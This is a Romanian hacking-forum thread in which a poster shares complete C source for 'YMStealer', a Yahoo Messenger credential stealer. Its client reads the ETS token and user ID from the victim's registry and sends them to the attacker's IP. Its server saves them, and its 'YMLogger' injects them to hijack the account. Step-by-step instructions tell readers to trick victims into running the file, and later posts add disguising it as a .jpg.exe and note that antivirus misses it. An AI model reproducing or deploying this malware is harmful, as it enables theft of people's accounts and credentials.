Jump to content
ionut.hulub

YMStealer

Recommended Posts

Posted

Cum functioneaza:

daca aveti optiunea de remember ID & password bifata la Yahoo, atunci parola voastra se gaseste in registri criptata in md5 si apoi codata impreuna cu alte cateva informatii, purtand numele laolalta de ETS.

Daca cunoasteti ETS-ul cuiva, il puteti folosi sa va logati pe id'ul lor de mess, si de acolo si pe mail.

Programul care l'am facut va ajuta sa furati ETS'ul celui care il deschide.

Mai sunt astfel de programe pe net, dar mojoritatea presupun ca ai acces fizic la calculatorul de pe care vrei sa furi ETS-ul. Cel facut de mine va trimite parola in calculatorul vostru.

Faceti in felul urmator:

1)deschideti serverul pe calculatorul vostru;

2)trimiteti victimei fisierul "client.exe" si o/il convingeti sa il deschida.

3)in folderul care contine serverul o sa apara un fisier text nou, numele fisierului find id'ul victimei, iar continutul este ETS-ul acesteia.

4)descarcati de pe net un ets logger si folositi informatiile aflate la pasul 3 ca sa va logati.

Mai tarziu in seara asta o sa fac si eu un ets logger personalizat pentru stealerul meu, si o sa il postez aici.

FOARTE IMPORTANT:

fisierul client.exe trebuie sa se conecteze la adresa voastra de ip ca sa va trimita parola, asa ca va trebui sa va dau codul sursa in loc de executabil, inlocuiti 127.0.0.1 cu ip-ul vostru!, il compilati (eu am folosit visual studio 2010 in release mode), si deabia apoi o sa aveti fisierul client.exe

as putea sa il fac mai usor de configurat dar prefer asa, ca sa nu reuseasca toti copii de 10 ani sa il foloseasca.

SERVER:

YMStealerServer exe

codul pentru client:


#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "27015"

typedef struct regentry{
char nume[256];
DWORD tip;
byte data[256];
} regentry;

int __cdecl main(int argc, char **argv)
{
int contor = 0;
char sendbufmeu[512];
regentry valori;
int i = 0;
DWORD lenNumeValoare = 255, lenData = 511;
char subkey[] = "Software\\Yahoo\\Pager";
HKEY cheie;
if(RegCreateKeyEx(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_QUERY_VALUE, NULL, &cheie, NULL)!=ERROR_SUCCESS){
printf("Eroare la deschidere cheie!");
return 1;
}
if(RegEnumValue(cheie, i, valori.nume, &lenNumeValoare, NULL, &valori.tip, valori.data, &lenData)!=ERROR_SUCCESS){
printf("Eroare. %d", GetLastError());
}
do{
i++;
if(!strcmp(valori.nume, "ETS") || !strcmp(valori.nume, "Yahoo! User ID")) {
if(contor==0){
strcpy(sendbufmeu, (char*)valori.data);
strcat(sendbufmeu, "$");
contor++;
}
else
strcat(sendbufmeu, (char*)valori.data);
}
lenNumeValoare = 255; lenData = 511;
}while(RegEnumValue(cheie, i, valori.nume, &lenNumeValoare, NULL, &valori.tip, valori.data, &lenData) != ERROR_NO_MORE_ITEMS);

WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
char *sendbuf = "this is a test";
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;

char ip[] = "127.0.0.1";

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed: %d\n", iResult);
return 1;
}

ZeroMemory( &hints, sizeof(hints) );
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

// Resolve the server address and port
iResult = getaddrinfo(ip, DEFAULT_PORT, &hints, &result);
if ( iResult != 0 ) {
printf("getaddrinfo failed: %d\n", iResult);
WSACleanup();
return 1;
}

// Attempt to connect to an address until one succeeds
for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {

// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("Error at socket(): %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}

// Connect to server.
iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}

freeaddrinfo(result);

if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 1;
}

// Send an initial buffer
iResult = send( ConnectSocket, sendbufmeu, (int)strlen(sendbufmeu), 0 );
if (iResult == SOCKET_ERROR) {
printf("send failed: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 1;
}

// cleanup
closesocket(ConnectSocket);
WSACleanup();
return 0;
}


Daca aveti intrebari (si cred ca o sa aveti) le astept aici.

happy coding

  • Upvote 1
Posted

in cazut asta va dau si codul serverului, desi pentru majoritatea nu cred ca portul o sa fie o problema


#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#define DEFAULT_PORT "27015"
#define DEFAULT_BUFLEN 512
#pragma comment(lib, "ws2_32.lib")


int main() {
FILE* fisier;
WSADATA wsaData;
int iResult;
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("Eroare. %d", iResult);
return 0;
}
struct addrinfo *result = NULL,
*ptr = NULL,
hints;

ZeroMemory( &hints, sizeof(hints) );
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;

// Resolve the local address and port to be used by the server
iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
if ( iResult != 0 ) {
printf("getaddrinfo failed: %d\n", iResult);
WSACleanup();
return 1;
}
SOCKET ListenSocket = INVALID_SOCKET;
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
printf("Error at socket(): %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}

// Setup the TCP listening socket
iResult = bind( ListenSocket,
result->ai_addr, (int)result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
printf("bind failed: %d\n", WSAGetLastError());
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
if ( listen( ListenSocket, SOMAXCONN ) == SOCKET_ERROR ) {
printf( "Error at bind(): %ld\n", WSAGetLastError() );
closesocket(ListenSocket);
WSACleanup();
return 1;
}
SOCKET ClientSocket;

ClientSocket = INVALID_SOCKET;

// Accept a client socket
int contorParole = 1;
while (true) {
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
printf("accept failed: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
printf("Password nr. %d received.\n", contorParole);
}
else if (iResult == 0)
printf("Connection closing...\n");
else {
printf("recv failed: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
recvbuf[iResult] = '\0';
char numeFisier[128];
int aux = 0;
while (recvbuf[aux] != '$') {
numeFisier[aux] = recvbuf[aux];
aux++;
}
numeFisier[aux] = '\0';
strcat(numeFisier, ".txt");
numeFisier[aux+4] = '\0';
fisier = fopen(numeFisier, "w");
fprintf(fisier, "%s", &recvbuf[aux+1]);
fclose(fisier);
contorParole++;
}
system("pause");
return 0;
}

Ca sa schimbati portul trebuie doar sa dati alta valoare constantei DEFAULT_PORT atat in client cat si in server.

Posted
2)trimiteti victimei fisierul "client.exe" si o/il convingeti sa il deschida.

Crezi ca mai haleste cineva? :)

Ai incercat sa scanezi fisierul dupa compilare? Asa mai simplu ii trimiti direct un keyloger.

La conexiunea client-server o sa ai probleme...

Ideea in sine este OK...dar muncesti degeba la acest ETS stealer

Posted (edited)
Crezi ca mai haleste cineva? :)

Ai incercat sa scanezi fisierul dupa compilare? Asa mai simplu ii trimiti direct un keyloger.

La conexiunea client-server o sa ai probleme...

Ideea in sine este OK...dar muncesti degeba la acest ETS stealer

De ce o sa am probleme la conexiune?

si relativ la prima intrebare, daca mai haleste cineva, raspuns e da, foarte multi oameni.

evident recomand sa iti dati un nume gen laMare.jpg.exe ca sa creada unii ca e poza(majoritatea au extensia ascunsa si or sa vada doar laMare.jpg) si sa ii modificati iconita dar asta tine de voi.

online virus scan:

https://www.virustotal.com/file/64442bc282315a66a94c1033e137a08d082ce6355b4953199dc03c3b085db1c3/analysis/1329749789/

nu a fost depistat deloc.

am observat totusi ca daca victima are firewall activ, clientul o sa ceara permisiune sa se conecteze la net, dar majoritatea oamenilor dau ok fara sa citeasca deci nu'i problema.

Edited by NemesisITSC
Posted (edited)

keyloggeru e mult mai usor de depistat de antivirul mai nu mai vorbiti aiurea, plus ca daca se prinde ca i'ai dat keylogger poate face un backup ceva si scapa de el inainte sa tasteze parola ;)

Edited by NemesisITSC
Posted

O întrebare mai mult de informa?ii.

daca aveti optiunea de remember ID & password bifata la Yahoo, atunci parola voastra se gaseste in registri criptata in md5 si apoi codata impreuna cu alte cateva informatii, purtand numele laolalta de ETS.

hash în md5 ?i apoi înc? o dat? codat?? ?tiu c? m-am jucat pu?in cu astea, dar nu ?in minte s? fi auzit detaliile astea. Eu ?tiam de un fel de cod de sesiune - token - pe baza c?ruia prime?ti un cookie valid, nicidecum parola.

Felicit?ri pentru program. +rep

Posted

YMLogger exe

YMLogger

Il puneti in acelasi folder cu serverul.

dupe ca obtineti unul sau mai multe fisiere care contin ets-uri valide, va folositi de YMLogger ca sa va logati folosind ets-urile.

cam asta ar fi tot ce aveti nevoie.



#include "stdafx.h"
#include <Windows.h>

#define LEN 512

typedef struct users{
char numeFisier[256];
char numeFaraExt[256];
//add here
} users;

int _tmain(int argc, _TCHAR* argv[])
{
HANDLE firstFile;
int i = 0;
users fisiere[1024];
char currentPath[LEN];
GetCurrentDirectory(LEN, currentPath);
strcat(currentPath, "\\*.txt");
WIN32_FIND_DATA winFD;
if((firstFile = FindFirstFile(currentPath, &winFD)) == INVALID_HANDLE_VALUE) {
printf("error %d.", GetLastError());
return 0;
}
int x;
do {
strcpy(fisiere[i].numeFisier, winFD.cFileName);
strcpy(fisiere[i++].numeFaraExt, winFD.cFileName);
for (x = 0; fisiere[i-1].numeFisier[x] != '\0'; x++);
fisiere[i-1].numeFaraExt[x-4] = '\0';
x = 0;
}while(FindNextFile(firstFile, &winFD) != 0);
int j = 0;
while(j < i)
printf("%-4d%s\n",j+1, fisiere[j++].numeFaraExt);
printf("\nTastati indicele userului pe care vreti sa va logati apoi apasati Enter: \n");
int user;
printf("->");
scanf("%d", &user);
HANDLE toHack;
toHack = CreateFile(fisiere[user-1].numeFisier, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
byte continut[LEN];
DWORD biticititi;
ReadFile(toHack, continut, LEN, &biticititi, NULL);
HKEY cheieReg;
byte autoLog[4];
for(i = 0; i < 4; i++)
autoLog[i] = 0;
autoLog[0] = 1;
DWORD al = 1;
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Yahoo\\pager", 0, KEY_SET_VALUE, &cheieReg);
RegSetKeyValue(cheieReg, NULL, "ETS", REG_SZ, continut, biticititi);
RegSetKeyValue(cheieReg, NULL, "Yahoo! User ID", REG_SZ, fisiere[user-1].numeFaraExt, strlen(fisiere[user-1].numeFaraExt));
RegSetKeyValue(cheieReg, NULL, "Auto Login", REG_DWORD, autoLog, 4);
printf("\nInchideti mess-ul in cazut in care este pornit, apoi deschideti o fereastra de mess noua...\n");
return 0;
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...